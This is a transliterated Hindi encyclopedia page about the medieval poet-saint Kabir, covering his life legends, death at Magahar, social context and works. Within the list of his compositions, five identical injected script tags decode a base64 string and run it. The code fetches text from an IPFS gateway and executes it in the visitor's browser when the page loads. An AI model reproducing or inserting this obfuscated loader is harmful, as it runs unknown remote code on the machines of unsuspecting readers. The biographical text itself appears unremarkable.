कबीर

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kabir vishay soochi

kabir    jivan parichay    samakalin samaj    sahityik parichay    bhasha aur shaili    vyaktitv    jivan darshan    rachanaean    kabir ke dohe    vistrit lekh

kabir sant kabiradas|200px|center poora nam sant kabiradas any nam kabira, kabir sahab janm san 1398 (lagabhag) janm bhoomi laharatara tal, kashi mrityu san 1518 (lagabhag) mrityu sthan magahar, uttar pradesh palak mata-pita niru aur nima pati/patni loee santan kamal (putr), kamali (putri) karm bhoomi kashi, banaras karm-kshetr samaj sudharak kavi mukhy rachanaean sakhi, sabad aur ramaini vishay samajik bhasha avadhi, sadhukk di, panchamel khich di shiksha nirakshar nagarikata bharatiy sanbandhit lekh kabir granthavali, kabirapanth, bijak, kabir ke dohe adi any janakari kabir ka koee pramanik jivanavritt aj tak nahian mil saka, jis karan is vishay mean nirnay karate samay, adhikatar janashrutiyoan, saanpradayik granthoan aur vividh ullekhoan tatha inaki abhi tak upalabdh katipay phutakal rachanaoan ke aant:sadhy ka hi sahara liya jata raha hai. inhean bhi dekhean kavi soochi, sahityakar soochi

kabir ki rachanaean kathani-karani ka aang -kabir chaannak ka aang -kabir avadhoota yugan yugan ham yogi -kabir kabir ki sakhiyaan -kabir bahuri nahian avana ya des -kabir samarathaee ka aang -kabir aankhiyaan to jhaeean pari -kabir kabir ke pad -kabir jivan-mritak ka aang -kabir naiya p di manjhadhar guru bin kaise lage par -kabir bhesh ka aang -kabir madhi ka aang -kabir upadesh ka aang -kabir karam gati tarai nahian tari -kabir bhram-bidhoansava ka aang -kabir pativrata ka aang -kabir moko kahaan dhooandhe re bande -kabir chitavani ka aang -kabir bit gaye din bhajan bina re -kabir kami ka aang -kabir man ka aang -kabir jarna ka aang -kabir niranjan dhan tumharo darabar -kabir maya ka aang -kabir kahe ri nalini too kumilani -kabir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gurudev ka aang -kabir niti ke dohe -kabir besas ka aang -kabir kehi samujhavau sab jag andha -kabir man na rangae, rangae jogi kap da -kabir bhajo re bhaiya ram goviand hari -kabir supane mean saani mile -kabir toone rat ganvayi soy ke divas ganvaya khay ke -kabir man mast hua tab kyoan bolai -kabir sadh-asadh ka aang -kabir divane man, bhajan bina dukh paihau -kabir maya maha thagani ham jani -kabir kaun thagava nagariya lootal ho -kabir ras ka aang -kabir sangati ka aang -kabir jhini jhini bini chadariya -kabir rahana nahian des birana hai -kabir sadho ye muradoan ka gaanv -kabir virah ka aang -kabir re dil gaphil gaphalat mat kar -kabir sumiran ka aang -kabir man lagyo mero yar fakiri mean -kabir ram binu tan ko tap n jaee -kabir tera mera manuvaan -kabir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sadh ka aang -kabir ghooanghat ke pat -kabir haman hai ishk mastana -kabir saanch ka aang -kabir sooratan ka aang -kabir meri chunari mean parigayo dag piya -kabir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kabir (aangrezi: Kabir, janm- sanh 1398 kashi - mrityu- sanh 1518 magahar) ka nam kabiradas, kabir sahab evan sant kabir jaise roopoan mean bhi prasiddh hai. ye madhyakalin bharat ke svadhinacheta mahapurush the aur inaka parichay, pray: inake jivanakal se hi, inhean saphal sadhak, bhakt kavi, matapravartak athava samaj sudharak manakar diya jata raha hai tatha inake nam par kabirapanth namak sanpraday bhi prachalit hai. kabirapanthi inhean ek alaukik avatari purush manate haian aur inake sanbandh mean bahut-si chamatkarapoorn kathaean bhi suni jati haian. inaka koee pramanik jivanavritt aj tak nahian mil saka, jis karan is vishay mean nirnay karate samay, adhikatar janashrutiyoan, saanpradayik granthoan aur vividh ullekhoan tatha inaki abhi tak upalabdh katipay phutakal rachanaoan ke aant:sadhy ka hi sahara liya jata raha hai. phalat: is sanbandh mean tatha inake mat ke bhi vishay mean bahut kuchh matabhed paya jata hai.

sant kabir das hiandi sahity ke bhakti kal ke ikalaute aise kavi haian, jo ajivan samaj aur logoan ke bich vyapt adanbaroan par kutharaghat karate rahe. vah karm pradhan samaj ke pairokar the aur isaki jhalak unaki rachanaoan mean saf jhalakati hai. lok kalyan hetu hi mano unaka samast jivan tha. kabir ko vastav mean ek sachche vishv-premi ka anubhav tha. kabir ki sabase b di visheshata unaki pratibha mean abadh gati aur adamy prakharata thi. samaj mean kabir ko jagaran yug ka agradoot kaha jata hai.

d aau. hazari prasad dvivedi ne likha hai ki sadhana ke kshetr mean ve yug-yug ke guru the, unhoanne sant kavy ka path pradarshan kar sahity kshetr mean nav nirman kiya tha.

jivan parichay

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janm

• kabiradas ke janm ke sanbandh mean anek kianvadantiyaan haian. kabir panthiyoan ki manyata hai ki kabir ka janm kashi mean laharatara talab mean utpann kamal ke manohar pushp ke oopar balak ke roop mean hua. kuchh logoan ka kahana hai ki ve janm se musalaman the aur yuvavastha mean svami ramanand ke prabhav se unhean hindoo dharm ki batean maloom hueean. ek din, ek pahar rat rahate hi kabir panchaganga ghat ki sidhiyoan par gir p de. ramanand ji ganga snan karane ke liye sidhiyaan utar rahe the ki tabhi unaka pair kabir ke sharir par p d gaya. unake mukh se tatkal 'ram-ram' shabd nikal p da. usi ram ko kabir ne diksha-mantr man liya aur ramanand ji ko apana guru svikar kar liya. kabir ke hi shabdoan mean-

ham kasi mean prakat bhaye haian,
ramanand chetaye.

thumb|kabiradas|200px|left

• kabirapanthiyoan mean inake janm ke vishay mean yah pady prasiddh hai-

chaudah sau pachapan sal ge, chandravar ek thath the.
jeth sudi barasayat ko pooranamasi tithi pragat bhe॥
ghan garajean damini damake booande barashean jhar lag ge.
lahar talab mean kamal khile tahan kabir bhanu pragat bhe॥

mrityu

kabir ne kashi ke pas magahar mean deh tyag di. aisi manyata hai ki mrityu ke bad unake shav ko lekar vivad utpann ho gaya tha. hindoo kahate the ki unaka aantim sanskar hindoo riti se hona chahie aur muslim kahate the ki muslim riti se. isi vivad ke chalate jab unake shav par se chadar hat gee, tab logoan ne vahaan phooloan ka dher p da dekha. bad mean vahaan se adhe phool hinduoan ne le lie aur adhe musalamanoan ne. musalamanoan ne muslim riti se aur hianduoan ne hiandoo riti se un phooloan ka aantim sanskar kiya. magahar mean kabir ki samadhi hai. janm ki bhaanti inaki mrityu tithi evan ghatana ko lekar bhi matabhed haian kintu adhikatar vidvanh unaki mrityu sanvat 1575 vikrami (san 1518 ee.) manate haian, lekin bad ke kuchh itihasakar unaki mrityu 1448 ko manate haian.

samakalin samajik paristhiti

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mahatma kabiradas ke janm ke samay mean bharat ki rajanitik, samajik, arthik evan dharmik dasha shochaniy thi. ek taraph musalaman shasakoan ki dharmaanndhata se janata pareshan thi aur doosari taraph hindoo dharm ke karmakaand, vidhan aur pakhand se dharm ka hras ho raha tha. janata mean bhakti- bhavanaoan ka sarvatha abhav tha. panditoan ke pakhandapoorn vachan samaj mean phaile the. aise sangharsh ke samay mean, kabiradas ka prardubhav hua. jis yug mean kabir avirbhoot hue the, usake kuchh hi poorv bharatavarsh ke itihas mean ek abhootapoorv ghatana ghat chuki thi. yah ghatana islam jaise ek susangathit sampraday ka agaman tha. is ghatana ne bharatiy dharm–mat aur samaj vyavastha ko buri tarah se jhakajhor diya tha. usaki aparivartaniy samajhi jane vali jati–vyavastha ko pahali bar zabardast thokar lagi thi. sara bharatiy vatavaran sankshubdh tha. bahut–se panditajan is sankshobh ka karan khojane mean vyast the aur apane–apane dhang par bharatiy samaj aur dharm–mat ko sambhalane ka prayatn kar rahe the.

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sahityik parichay

kabir sant kavi aur samaj sudharak the. unaki kavita ka ek-ek shabd pakhandiyoan ke pakhandavad aur dharm ke nam par dhoang v svarthapoorti ki niji dukanadariyoan ko lalakarata hua aya aur asaty v anyay ki pol khol dhajjiyaan u data chala gaya. kabir ka anubhoot saty aandhavishvasoan par baroodi palita tha. saty bhi aisa jo aj tak ke parivesh par savaliya nishan ban chot bhi karata hai aur khot bhi nikalata hai.

age jaean »

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

• anil chaudhari dvara nirdeshit dooradarshan par bana dharavahik "kabir" ek utkrisht rachana hai.
• hazari prasad dvivedi ki rachana "kabir" sant kabir par sabase utkrisht rachana hai.
• prophesar mahavir saran jain ka alekh : kabir ki sadhana

bahari k diyaan

yoo-tyoob liank

• magahar ka vidiyo (yoo tyoob par)
• jhini chadariya (avaj- pan. kumar gandharv)
• sunata hai guru jnani (avaj- pan. kumar gandharv)
• nirbhay nirgun gun re gaooanga (avaj- pan. kumar gandharv aur vidushi vasuandhara komakali)
• u d jayega hans akela (avaj- pan. kumar gandharv)

sanbandhit lekh

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